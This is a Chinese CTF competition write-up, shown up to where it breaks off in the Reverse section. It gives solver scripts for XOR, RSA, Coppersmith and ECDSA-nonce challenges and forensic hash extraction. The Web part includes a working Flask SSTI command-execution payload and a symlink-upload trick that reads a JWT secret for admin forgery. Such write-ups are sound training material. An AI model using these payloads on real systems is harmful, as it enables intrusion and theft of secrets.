毕竟是永信至诚的比赛,安全头部大厂的行业赛事,难度是扛扛的,个别题难度直逼网鼎决赛,但是这次为什么Crypto出这么多题啊!好几道Misc分明就是Crypto,逼得我Crypto疯狂上分。我数学不好,偏偏狂出Crypto,居然靠着Crypto的分数直接冲榜全国第二。
【简单算术】- Misc
题目提到了异或,那我们通过将每个字符与密钥31进行异或操作,将加密后的字符串转换回原始的明文字符串,简单可秒。
定义密文
ciphertext = "ys~xdg/m@]mjkz@vl@z~lf>b"
初始化解密后的字符串
decrypted_text = ""
遍历密文进行异或操作
for char in ciphertext:
decrypted_char = chr(ord(char) ^ 31)
decrypted_text += decrypted_char
输出结果
print(decrypted_text)
【压力大写个脚本】- Misc
先写脚本解压嵌套压缩包,用上一层的password.txt 解密base后的结果当作解压密码,
import os
import base64
import zipfile
获取当前工作目录
current_dir = os.getcwd()
遍历密码文件和压缩文件,从99到1
for i in range(99, 0, -1):
password_file = os.path.join(current_dir, f"password_{i}.txt")
zip_file = os.path.join(current_dir, f"zip_{i}.zip")
# 读取并解码密码
with open(password_file) as f:
password = base64.b64decode(f.read().strip()).decode("utf-8")
# 解压缩文件
with zipfile.ZipFile(zip_file) as zf:
zf.extractall(path=current_dir, pwd=password.encode())
0号压缩包说是password+password.png,然后0号压缩包里面的数据又是89504e47,所以怀疑所有的压缩密码连在一块就是一个png
将解压出来的pass进行合并,解码
import base64
合并后的文件
output_file = 'merged_passwords.txt'
try:
with open(output_file, 'wb') as output_f:
for i in range(100):
input_file = f'password_{i}.txt'
try:
with open(input_file, 'r') as file:
encoded_content = file.read().strip() # 读取并去除多余空白
# 解码
decoded_content = base64.b64decode(encoded_content)
# 将解码后的内容写入合并文件
output_f.write(decoded_content)
except FileNotFoundError:
print(f"文件 {input_file} 未找到,跳过该文件。")
except Exception as e:
print(f"处理文件 {input_file} 时发生错误: {e}")
print(f'所有密码已合并并保存为 {output_file}')
except Exception as e:
print(f"文件合并过程中发生了错误: {e}")
然后解码,删掉后面的一串fg,即可得到二维码
【Ez_forensics】- Misc
先用r-studio看一下文件结构 发现一个压缩包还有个提示文件
给了60 猜测是13+47 Rot13+rot47解密
知道压缩包的密码是windows用户密码 用volatility来提取
.\volatility.exe -f G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics\ezforensics.raw --profile=Win7SP1x64 hashdump
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Flu0r1n3:1000:aad3b435b51404eeaad3b435b51404ee:15245efa2af8a339c15ed8e658911844:::
Cmd5解密
再用volatility提取压缩包
.\volatility.exe -f G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics\ezforensics.raw --profile=Win7SP1x64 filescan | findstr "f14g.7z"
Volatility Foundation Volatility Framework 2.6
0x000000003eb51d00 16 0 -W---- \Device\HarddiskVolume2\Users\Flu0r1n3\Desktop\f14g.7z
.\volatility.exe -f G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics\ezforensics.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003eb51d00 -D "G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics"
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x3eb51d00 None \Device\HarddiskVolume2\Users\Flu0r1n3\Desktop\f14g.7z
用上面的密码解压压缩包 得到hint和一个ini配置文件
一眼MobaXterm解密
找个项目解密
python .\MobaXtermCipher.py dec -p flag_is_here DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqL in cmd at 18:38:28
再解一次base64
【Weevil’s Whisper】- Misc
打开流量包,发现text,果断打开(啪的一下,很快啊!) 啊不是
发现加密的文本
那很明显这是一个解密题了(草可谓是什么题都可以往misc放!)
lFDu8RwONqmag……这一串
这个shell1.php显然就是题干里面传说中的黑客上传的shell
lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92
lFDu8RwONqmag5ex45089b3446eeSapiXZwT7J5S6ST5d8pqvEtS7r6h3xg76c7bnajhvB2IIsfYvx7Tppa1JhN/WUI48PTopzqz/731u6ZuSoFbcdJuYfXx/as8o6+uMn43pzUhamP/MG1QoKqvsb2nBEElYEh9HRrc9bISccd6uGcFpPn2+SG9tH+7+XJwpKq8/aR9NzkJPli0iCXWcWrDqCfM/ebpr7pkrFYT45Rzd4EgBetan+Vk6Bpw40QjtpcuHS4BY1JWWkcGXWoZCFp1wO20Y+kx7e7l+VSwDDJr7hC75YdT18DGMt8BpdLXxfsKUwFTt9dxcRc84dO65fl+JwoEaVSJo6psvA/7BQNuEHa8V8V2/2ekcK2DJUBNXhUA+FtVYWh9e09r24fBJ+MAN5cGYbIY/TqOrzwr3yn9OYyvPisf3VobnQcgMjZ13f4I4e0d86dbcf92
lFDu8RwONqmag5ex45089b3446eeSaoyZWJkN2U=4e0d86dbcf92
导出三个密文
纯解密题,我们定义perform_xor_decryption函数,接受两个参数$encrypted_text和$key,通过循环遍历加密文本和密钥,逐字符进行异或运算,从而实现解密。解密后的文本存储在$decrypted_text变量中并最终返回,使用base64_decode函数对提取的加密内容进行Base64解码。
三个密文都解一下。
脚本如下:
<?php
// 定义异或的密钥
$decryption_key = '161ebd7d';
// 异或函数
function perform_xor_decryption($encrypted_text, $key) {
$key_length = strlen($key);
$text_length = strlen($encrypted_text);
$decrypted_text = '';
for ($i = 0; $i < $text_length; ) {
for ($j = 0; $j < $key_length && $i < $text_length; $j++, $i++) {
// 逐字符进行异或运算
$decrypted_text .= $encrypted_text[$i] ^ $key[$j];
}
}
return $decrypted_text;
}
//解密函数
function decrypt_payload($data) {
global $decryption_key;
// 定义加密数据的前缀和后缀
$prefix = 'lFDu8RwONqmag5ex45089b3446ee';
$suffix = '4e0d86dbcf92';
// 提取实际的加密内容
$base64_encoded = substr($data, strlen($prefix), -strlen($suffix));
// Base64 解码
$decoded_data = base64_decode($base64_encoded);
// 进行异或解密
$xor_decrypted = perform_xor_decryption($decoded_data, $decryption_key);
// gzip 解压缩
$decompressed_data = gzuncompress($xor_decrypted);
return $decompressed_data;
}
$encrypted_data1 = 'lFDu8RwONqmag5ex45089b3446eeSapiXZwT7J5S6ST5d8pqvEtS7r6h3xg76c7bnajhvB2IIsfYvx7Tppa1JhN/WUI48PTopzqz/731u6ZuSoFbcdJuYfXx/as8o6+uMn43pzUhamP/MG1QoKqvsb2nBEElYEh9HRrc9bISccd6uGcFpPn2+SG9tH+7+XJwpKq8/aR9NzkJPli0iCXWcWrDqCfM/ebpr7pkrFYT45Rzd4EgBetan+Vk6Bpw40QjtpcuHS4BY1JWWkcGXWoZCFp1wO20Y+kx7e7l+VSwDDJr7hC75YdT18DGMt8BpdLXxfsKUwFTt9dxcRc84dO65fl+JwoEaVSJo6psvA/7BQNuEHa8V8V2/2ekcK2DJUBNXhUA+FtVYWh9e09r24fBJ+MAN5cGYbIY/TqOrzwr3yn9OYyvPisf3VobnQcgMjZ13f4I4e0d86dbcf92';
$encrypted_data2 = 'lFDu8RwONqmag5ex45089b3446eeSaoyZWJkN2U=4e0d86dbcf92';
$encrypted_data3 = 'lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92';
echo "解密结果:\n\n";
// 循环
$encrypted_data = [$encrypted_data1, $encrypted_data2, $encrypted_data3];
foreach ($encrypted_data as $index => $data) {
echo "----------------------------------------\n";
echo "密文: " . ($index + 1) . "\n";
echo "内容:\n";
// 解密
$decrypted = decrypt_payload($data);
// 输出
echo $decrypted . "\n\n";
}
echo "----------------------------------------\n";
?>
【RSA1】- Crypto
Flag是flag加上uuid,再加上一组二进制字符串,这个二进制字符串是由flag产生的。m1和m2的生成,可以猜出m1和m2之间有一定的关系。通过计算可以知道m1等于m2加上138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867。
from Crypto.Util.number import *
from random import *
import uuid
生成随机密钥
secret_key = b'key{' + str(uuid.uuid4()).encode() + b'}'
补充密钥长度至 1024 位
secret_key += bin(getPrime((1024 - bytes_to_long(secret_key).bit_length()) // 8)).encode()
计算 key1 和 key2 的值
key1 = bytes_to_long(secret_key)
key2 = bytes_to_long(''.join(chr((ord(char) + 3) % 128) for char in secret_key.decode()).encode())
输出结果
print(key2 - key1)
138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
c1=(m1*e)^2835
c2=m2^2025
c3=m2^2835+e
相关消息攻击,加密指数要相同,所以利用c1,c3,但是e是一个随机数,并且很大,不容易爆破,
所以先利用c2,求得e
c2,c3用两个未知数,先消去m2,计算出最小公倍数
$$
gcd(2025,2835)=405
$$
2025*2835//405即最小公倍数,让m2的次方达到最小公倍数,通过两式相减消除m2
得到
$$c2^{(20252835//405//2025)} =(c3-e)^{20252835//405//2835} \mod N$$
sage small_roots求根
from Crypto.Util.number import *
定义模数 N
modulus = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601
定义密文 c1, c2, c3
cipher1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
cipher2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
cipher3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309
固定差值
fixed_difference = 138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
求根
P.<x> = PolynomialRing(Zmod(modulus))
poly_eq = (cipher3 - x)**(2025*2835//405//2835) - pow(cipher2,2025*2835//405//2025, modulus)
poly_eq=poly_eq.monic()
poly_eq.small_roots(2**128, beta=1, epsilon=0.05)
最终通过计算得到:
[281211879955223558268422413173406510291] 即e e.nbits()=128
求出e便可以确认(m1*e)和m2之间的具体关系了
设m1=x,则
M1=ex M2=m1+138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
可设多项式
F1=(ex)^2835-c1
F2=(x1+number)^2835+e-c3
m1>N,求出来的m不完整需要加上k*N
half gcd Implementations/Half_GCD/code.sage at main · rkm0959/Implementations · GitHub
import sys
from Crypto.Util.number import *
modulus = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601
cipher1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
cipher2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
cipher3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309
fixed_difference = 138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
e=281211879955223558268422413173406510291
P.<x> = PolynomialRing(Zmod(modulus))
def HGCD(a, b):
if 2 * b.degree() <= a.degree() or a.degree() == 1:
return 1, 0, 0, 1
m = a.degree() // 2
a_top, a_bot = a.quo_rem(x ^ m)
b_top, b_bot = b.quo_rem(x ^ m)
R00, R01, R10, R11 = HGCD(a_top, b_top)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
q, e = c.quo_rem(d)
d_top, d_bot = d.quo_rem(x ^ (m // 2))
e_top, e_bot = e.quo_rem(x ^ (m // 2))
S00, S01, S10, S11 = HGCD(d_top, e_top)
RET00 = S01 * R00 + (S00 - q * S01) * R10
RET01 = S01 * R01 + (S00 - q * S01) * R11
RET10 = S11 * R00 + (S10 - q * S11) * R10
RET11 = S11 * R01 + (S10 - q * S11) * R11
return RET00, RET01, RET10, RET11
def GCD(a, b):
q, r = a.quo_rem(b)
if r == 0:
return b
R00, R01, R10, R11 = HGCD(a, b)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
if d == 0:
return c.monic()
q, r = c.quo_rem(d)
if r == 0:
return d
return GCD(d, r)
sys.setrecursionlimit(500000)
ee=2835
f1 = (e*x)^ee- cipher1
f2 = (x+fixed_difference)^ee + e -cipher3
temp=GCD(f1, f2)
m1 = int(-temp.monic().coefficients()[0])
for k in range(1000000):
m=long_to_bytes(m1+k*modulus)
if b"flag" in m:
print(m)
print(k)
break
找到k=26649
m=k*N+m1
【小哈斯】- Crypto
import string
from hashlib import sha1
定义包含多个 SHA1 哈希值的列表
hash_list = """zheli""".split("\n")
print("Hash List:", hash_list)
定义可打印字符集
chars = string.printable
初始化破解后的字符串
decrypted_text = ""
遍历每个哈希值
for hash_value in hash_list:
# 遍历每个可打印字符,尝试找到匹配的明文字符
for char in chars:
if sha1(char.encode()).hexdigest() == hash_value:
decrypted_text += char
break
输出字符串
print("Decrypted Text:", decrypted_text)
【running】- Crypto
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import md5
from secret import flag
K=5
p=[2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41]
while i:=i+1:
if all([0,i][sum([0,j][i%j==0]for j in range(1,i+1))>2*i]%j for j in p[:K]):print(AES.new(key=md5(str(i).encode()).digest(),mode=AES.MODE_ECB).encrypt(pad(flag,16)));break
# b'y.\x86k\xbd\xbfd7)\xcdHm\xf7\x1e\xfdX\xf6z\xb0\xd5XD}\xe8m\x81D\x84\x1c\xa0<\x1f\xd0f\x9f\xcc\x89\r\xc4\x9d\xadbY\xa3\xb1\x1d5?'
思路
审计代码,检查不能被前 K 个质数整除:all(i % j != 0 for j in p[:K]) 检查 i 是否不能被 p[:K] 中的任何一个质数整除。
参考:https://en.wikipedia.org/wiki/Abundant_number,https://projecteuclid.org/journals/bulletin-of-the-belgian-mathematical-society-simon-stevin/volume-12/issue-1/On-the-smallest-abundant-number-not-divisible-by-the-first/10.36045/bbms/1113318127.pdf
我们执行要求出 丰度为1-7的 Abundant Numbers 就行,挨个求解,发现是求丰度为6的Abundant Numbers
from Crypto.Cipher import AES
from hashlib import md5
cipher = b'y.\x86k\xbd\xbfd7)\xcdHm\xf7\x1e\xfdX\xf6z\xb0\xd5XD}\xe8m\x81D\x84\x1c\xa0<\x1f\xd0f\x9f\xcc\x89\r\xc4\x9d\xadbY\xa3\xb1\x1d5?'
k = 64702979560966356488598858364510932416917957393726356813256494112748767382615990284426243750577815629801062581738756314644292387919578086291
flag = AES.new(key=md5(str(k).encode()).digest(),mode=AES.MODE_ECB).decrypt(cipher)
print(flag)
【factor】- Crypto
import random
import os
from Crypto.Util.number import *
from secret import flag
def pad(x, n):
while len(x) < n // 8:
x += os.urandom(1)
return x
def genp(p, l):
while 1:
r = random.randint(1 << l - 1, 1 << l)
if isPrime(p + r):
return p + r
bits = 1024
b = 345
flag = pad(flag, bits * 3)
m = bytes_to_long(flag)
p = getPrime(bits)
q = genp(p, b)
r = genp(q, b)
n = p * q * r
print(n)
print(pow(m, 65537, n))
# 5605777780127871552103278440489930168557569118966981388111283042550796167470265465148458919374665519335013101681890408413810351780671950283765145543168779446153786190869731166707967097095246677053262868926963631796027692694223765625053269102325714361312299011876036815423751522482629914361369303649193526946050137701205931577449326939722902280884984494828850611521784382097900268639648421100760612558110614208245291400961758972415881709281708443424129033685255718996719201537066717587527029554871540574867831957154286334639399985379381455084604901293000229526196544921067214723085504463673412082637877637982771445298815007769526806112008703908400170846707986989384244531990469279604588770393462375930699135443458952703826608237292999895910024613311408883134789788541751697007502656798556053417265191533053158952284994030769145926816478390761642058013769635850833893158830591398862163134753203291719549474871116653745337968227
# 2998195560453407057321637509862236387961676411996988529185696118404592349869917006166370346762261303282478779647282039317061146533808487789458703169149689179547543732935053220010550004328207373171271534689897340156346458951776319267981966893926724550629182100766890856964207263709029611781806548130358294543573874132473259788387939849997550651614987993962540192023207354839106090274252125961835070701748643163379053118598595995782448140944376681636633592442158453965800439960134688017496184195454406927204485213436540382637720118180670197194949275760000729877093621741313147190401896114633643891311672542703928421032698499968701052818985292683628072129271790220674145955527935027879112279336148316425115255710066132502392447843608711463775710558880259205308541126041959858947252063815158749021817255637836170676726466347847422352280599210078359786387419424076245960344657767332883964636288493649066530215094453490169688507988
思路
def genp(p, l):
while 1:
r = random.randint(1 << l - 1, 1 << l)
if isPrime(p + r):
return p + r
p = getPrime(bits)
q = genp(p, b)
r = genp(q, b)
从这里可以知道p,q,r相对接近,记为
q=p+x "(1)"
r=p+x+y "(2)"
x,y都是345bit,所以n开三次方能得到p的高位,此时有低345bit甚至更多不知道。做一些爆破用一元copper恢复p
然后再用二元Copper求出x恢复q。得到p,q后r=n//p//q。然后解RSA
from Crypto.Util.number import *
from tqdm import trange
import gmpy2
n = 5605777780127871552103278440489930168557569118966981388111283042550796167470265465148458919374665519335013101681890408413810351780671950283765145543168779446153786190869731166707967097095246677053262868926963631796027692694223765625053269102325714361312299011876036815423751522482629914361369303649193526946050137701205931577449326939722902280884984494828850611521784382097900268639648421100760612558110614208245291400961758972415881709281708443424129033685255718996719201537066717587527029554871540574867831957154286334639399985379381455084604901293000229526196544921067214723085504463673412082637877637982771445298815007769526806112008703908400170846707986989384244531990469279604588770393462375930699135443458952703826608237292999895910024613311408883134789788541751697007502656798556053417265191533053158952284994030769145926816478390761642058013769635850833893158830591398862163134753203291719549474871116653745337968227
ph = int(gmpy2.iroot(n,3)[0]) >> 347 << 347
for i in trange(2^13):
phigh = ph + i*2^335
R.<x> = PolynomialRing(Zmod(n))
f = phigh + x
res = f.monic().small_roots(X=2^335,beta=0.33,epsilon=0.02)
if res != []:
p = int(phigh + res[0])
if n % p == 0:
print(f"p = {p}")
# p = 177641852143539875144076287104359901067433280125353192376052994247805596999311993133680118926203330508832035411734411354655205181670634659281906946269134849688257950688607255823034295123844247237760781276134032579722586580714406466623980282093209193430049447821706112292714446557721627445986171788731664465623
二元
from Crypto.Util.number import *
import itertools
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = N ^ (m - i) * f ^ i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
n = 5605777780127871552103278440489930168557569118966981388111283042550796167470265465148458919374665519335013101681890408413810351780671950283765145543168779446153786190869731166707967097095246677053262868926963631796027692694223765625053269102325714361312299011876036815423751522482629914361369303649193526946050137701205931577449326939722902280884984494828850611521784382097900268639648421100760612558110614208245291400961758972415881709281708443424129033685255718996719201537066717587527029554871540574867831957154286334639399985379381455084604901293000229526196544921067214723085504463673412082637877637982771445298815007769526806112008703908400170846707986989384244531990469279604588770393462375930699135443458952703826608237292999895910024613311408883134789788541751697007502656798556053417265191533053158952284994030769145926816478390761642058013769635850833893158830591398862163134753203291719549474871116653745337968227
c = 2998195560453407057321637509862236387961676411996988529185696118404592349869917006166370346762261303282478779647282039317061146533808487789458703169149689179547543732935053220010550004328207373171271534689897340156346458951776319267981966893926724550629182100766890856964207263709029611781806548130358294543573874132473259788387939849997550651614987993962540192023207354839106090274252125961835070701748643163379053118598595995782448140944376681636633592442158453965800439960134688017496184195454406927204485213436540382637720118180670197194949275760000729877093621741313147190401896114633643891311672542703928421032698499968701052818985292683628072129271790220674145955527935027879112279336148316425115255710066132502392447843608711463775710558880259205308541126041959858947252063815158749021817255637836170676726466347847422352280599210078359786387419424076245960344657767332883964636288493649066530215094453490169688507988
p = 177641852143539875144076287104359901067433280125353192376052994247805596999311993133680118926203330508832035411734411354655205181670634659281906946269134849688257950688607255823034295123844247237760781276134032579722586580714406466623980282093209193430049447821706112292714446557721627445986171788731664465623
R.<x,y> = PolynomialRing(Zmod(n // p))
f = p^2 + 2*p*x + x^2 + p*y + x*y
res = small_roots(f,(2^346,2^346),m=3,d=4)
for root in res:
q = p + int(root[0])
if n % q == 0:
print(f"q = {q}")
r = n // p // q
d = inverse(65537,(p-1)*(q-1)*(r-1))
m = pow(c,d,n)
print(long_to_bytes(int(m)))
【Signtime】- Crypto
记n为曲线的阶。这题给了曲线以及生成元
sign函数传入的k很小,导致很容易爆破。可以通过下式计算
private≡(ks-h)×r^(-1) mod n "(1)"
exp
from hashlib import *
from pwn import *
from ecdsa.ecdsa import Public_key, Private_key, Signature, generator_192
from Crypto.Util.number import *
io = remote("47.93.11.51",22593)
io.recvuntil(b"Enter your option:")
io.sendline(b"sign_time")
rc = eval(io.recvline().strip().decode())
message = rc['time']
t = eval(message.split(':')[-1])
r = eval(rc['r'])
s = eval(rc['s'])
G = generator_192
n = G.order()
h = bytes_to_long(sha1(message.encode()).digest())
signature = Signature(r,s)
for k in range(100,100 + t):
private = (k*s - h) * inverse(r,n) % n
public_key = Public_key(G, G * private)
private_key = Private_key(public_key, private)
if public_key.verifies(h,signature):
msg = hex(private)
io.sendline(b"I kown the secret")
io.sendline(msg.encode())
io.interactive()
【Funny_rsa】- Crypto
这题是一个典型的RSA逆向,首先计算出n,计算p+q,进而求解p和q,再计算出欧拉函数和密钥。
通过恢复p和q进而推导。
代码如下:
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long
funny_values = {
'funny1': -17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374,
'funny2': 23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011,
'funny3': 419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024,
'funny4': 13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479
}
# 计算 n 和 p+q
def calculate_n_and_p_plus_q():
global funny_values
# 计算 n = (funny3 + 1025) // gcd(funny3 + 1025, funny2)
gcd_value = gmpy2.gcd(funny_values['funny3'] + 1025, funny_values['funny2'])
n = (funny_values['funny3'] + 1025) // gcd_value
# 计算 p+q = funny1 + n
p_plus_q = funny_values['funny1'] + n
return n, p_plus_q
# 计算 p 和 q
def calculate_p_and_q(n, p_plus_q):
# 假设 p 是已知的
p = 146244963903123897384722629319865983862385290427491632619680838698915634884136798118860944346342346684665267628932533730684360351083477628483048417394493368921029652616722076101582581881994784549216229374327065827698990452634615021972143959360660773895031574424678151072027651307994605157369826310532546455301
q = n // p
return p, q
# 计算欧拉函数和私钥
def calculate_phi_and_private_key(p, q):
phi = (p - 1) * (q - 1)
private_key = gmpy2.invert(65537, phi)
return phi, private_key
# 解密函数
def decrypt_values(n, private_key, funny_values):
# 计算 hint
hint = pow(funny_values['funny4'], private_key, n)
# 解密 funny2
decrypted_funny2 = long_to_bytes(funny_values['funny2'] // hint)
# 解密另一个值
decrypted_other = long_to_bytes(5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861)
return decrypted_funny2, decrypted_other
def main():
# 计算 n 和 p+q
n, p_plus_q = calculate_n_and_p_plus_q()
print(f"计算得到的 n 值: {n}")
print(f"计算得到的 p+q 值: {p_plus_q}")
# 计算 p 和 q
p, q = calculate_p_and_q(n, p_plus_q)
print(f"计算得到的 p 值: {p}")
print(f"计算得到的 q 值: {q}")
# 计算欧拉函数和私钥
phi, private_key = calculate_phi_and_private_key(p, q)
print(f"计算得到的欧拉函数 phi 值: {phi}")
print(f"计算得到的私钥 d 值: {private_key}")
# 解密
decrypted_funny2, decrypted_other = decrypt_values(n, private_key, funny_values)
print("解密结果:")
print(f"funny2 解密后: {decrypted_funny2}")
print(f"另一个值解密后: {decrypted_other}")
if __name__ == "__main__":
main()
【Gotar】- Web
注册登录后有一个文件上传的功能
上传不受身份限制,查看flag文件无权限(应该是需要admin超级管理员身份)
审了下源码,身份鉴权是通过JWT
那么肯定是需要JWT伪造,进一步来说需要得到JWT密钥。
审计半天无人问,一朝软链出flag。。。。
思路是上传文件时候上传带有软连接的tar包,访问上传的文件相当于访问软连接的目录,就可以读出存储JWT密钥的.env文件
beginCTF-2024遇到过
bash命令ln -s可以创建一个指向指定文件的软链接文件,然后将这个软链接文件上传至服务器,当我们再次请求访问这个链接文件时,实际上是请求在服务端它指向的文件。
创建软连接压缩包(--symlinks表示压缩软连接 )
ln -s /flag myflag
zip --symlink 1.zip myflag
此外,如果上传目录是访问不到的,也可以用软连接,参考2023国赛。
生成tar包上传
访问路由/assets/extracted/2/222/
在app目录下得到环境变量文件,得到密钥
伪造"UserID": 1
获得权限下载flag
【flask】- Web
题目说了是flask,直接构造Pyload访问地址:
?user={{%27%27.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[%27popen%27](%27cat%20flag%27).read()}}
bases[0]:获取str类的基类,subclasses()[133]:获取object类的所有子类,并选择第134个子类(索引从0开始)。('cat flag'):调用popen函数并传递catflag命令。通过SSTI漏洞执行系统命令cat flag,并将其输出作为模板渲染的一部分返回,从而泄露flag文件的内容。
【ezgo】- Reverse
第一步我们看见初始化函数里面有一个反调试和替换base码表
然后反调试和判断输入长度是否为4,分析这个逻辑
base64和两次 xor运算,进入下一步
最后XOR一下对zip解密即可
脚本如下
import base64
import string
from itertools import product
# 自定义Base64字符表
TABLE = [
1, 87, 44, 124, 199, 114, 32, 112, 165, 150, 33, 220, 168, 118, 105, 20, 197, 36, 37, 2, 183, 122, 252, 240, 196, 73,
86, 194, 193, 149, 236, 38, 204, 247, 255, 115, 225, 63, 132, 70, 169, 249, 61, 14, 69, 241, 218, 146, 206, 59, 60, 160,
22, 188, 45, 189, 164, 50, 144, 98, 157, 12, 222, 173, 64, 207, 75, 77, 110, 121, 200, 133, 210, 172, 153, 232, 30, 201,
212, 6, 52, 102, 184, 211, 19, 244, 66, 27, 99, 95, 130, 91, 145, 42, 51, 93, 185, 125, 213, 108, 13, 40, 8, 155, 24,
46, 162, 103, 90, 230, 138, 25, 80, 156, 177, 239, 31, 18, 186, 134, 131, 119, 96, 148, 253, 246, 84, 191, 161, 147, 3,
231, 88, 229, 154, 127, 34, 190, 217, 56, 39, 101, 215, 35, 251, 113, 250, 143, 245, 109, 81, 158, 214, 139, 137, 17,
